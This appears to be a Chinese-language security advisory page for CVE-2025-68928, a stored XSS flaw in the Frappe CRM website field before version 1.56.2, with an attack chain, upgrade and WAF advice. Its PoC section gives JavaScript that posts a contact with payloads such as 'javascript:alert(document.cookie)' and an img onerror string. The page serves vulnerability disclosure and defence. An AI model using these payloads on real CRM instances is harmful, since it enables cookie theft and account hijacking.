IPBUF安全漏洞报告
English
CVE-2025-68928 CVSS 5.4 中危

CVE-2025-68928 Frappe CRM网站字段存储型XSS漏洞

披露日期: 2025-12-29

漏洞信息

漏洞编号
CVE-2025-68928
漏洞类型
存储型跨站脚本(XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Frappe CRM

相关标签

存储型XSSFrappe CRMCVE-2025-68928跨站脚本输入验证不足认证用户漏洞

漏洞概述

CVE-2025-68928是Frappe CRM中的一个存储型跨站脚本(XSS)漏洞。Frappe CRM是一款开源的客户关系管理工具。该漏洞存在于1.56.2之前的版本,认证用户可以在网站的URL字段中注入恶意构造的JavaScript代码。由于该字段未进行适当的输入清理和输出编码,当其他用户访问包含恶意脚本的页面时,攻击者注入的脚本将在受害者浏览器中执行。攻击者可利用此漏洞窃取会话cookie、劫持用户账户、修改页面内容或进行钓鱼攻击。由于CVSS评分为5.4(中危),且需要用户交互和低权限认证才能利用,漏洞的实际危害相对有限,但仍需及时修复。

技术细节

该漏洞是典型的存储型XSS(Stored XSS)漏洞。在Frappe CRM的网站字段功能中,系统允许已认证用户在CRM记录中设置URL值。问题在于后端未对用户输入的URL进行充分的输入验证和sanitization处理。当含有恶意JavaScript代码的URL被保存到数据库后,系统在后续页面渲染时直接将该值输出到HTML中而未进行适当的输出编码。攻击者可通过构造类似javascript:alert(document.cookie)的URL值,当其他用户查看包含该字段的页面时,恶意脚本将在其浏览器上下文中执行。由于该漏洞位于用户资料或联系人信息等常见功能点,攻击面相对较广。修复版本1.56.2通过在输入端增加URL白名单验证和输出端增加HTML转义来解决此问题。

攻击链分析

STEP 1
步骤1
攻击者使用低权限账户登录Frappe CRM系统
STEP 2
步骤2
攻击者在联系人或客户记录的website字段中注入恶意JavaScript代码,如javascript:alert(document.cookie)
STEP 3
步骤3
恶意URL被保存到数据库,由于缺少输入sanitization,恶意代码被持久化存储
STEP 4
步骤4
当其他用户(如管理员或同事)访问包含该记录的页面时,受污染的数据从数据库取出并直接渲染到HTML中
STEP 5
步骤5
受害者浏览器执行注入的JavaScript代码,攻击者成功窃取Cookie、会话令牌或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-68928 PoC - Stored XSS in Frappe CRM website field // Target: Frappe CRM < v1.56.2 // Attack Type: Stored XSS via website field // Step 1: Authenticate with low-privilege account const loginData = { usr: '[email protected]', pwd: 'password123' }; // Step 2: Create/Edit contact with malicious website URL const maliciousPayload = { first_name: 'Test', last_name: 'User', website: 'javascript:alert(document.cookie)//' }; // Alternative payloads: // website: 'data:text/html,<script>alert(1)</script>' // website: '<img src=x onerror=alert(document.domain)>' // Step 3: When other users view this contact, XSS will execute fetch('/api/resource/Contact', { method: 'POST', headers: { 'Content-Type': 'application/json', 'Authorization': 'token ' + apiKey }, body: JSON.stringify(maliciousPayload) });

影响范围

Frappe CRM < 1.56.2

防御指南

临时缓解措施
立即升级到Frappe CRM v1.56.2。在无法立即升级的情况下,可通过WAF规则暂时拦截包含javascript:协议和事件处理属性的website字段输入,同时限制该字段的输入长度为合理范围,并监控异常访问日志。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表